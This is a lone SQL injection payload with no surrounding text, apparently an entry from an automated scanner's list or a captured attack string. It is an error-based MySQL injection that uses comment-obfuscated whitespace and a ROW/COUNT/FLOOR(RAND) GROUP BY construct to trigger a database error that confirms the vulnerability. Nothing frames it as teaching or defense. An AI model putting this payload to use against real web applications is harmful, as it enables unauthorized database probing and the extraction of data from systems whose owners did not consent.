1),(SELECT/**/3488/**/FROM/**/(SELECT/**/ROW(3488,10856)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(3488=3488,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/1509/**/UNION/**/SELECT/**/9319/**/UNION/**/SELECT/**/3146/**/UNION/**/SELECT/**/4162)a/**/GROUP/**/BY/**/x))s)-- -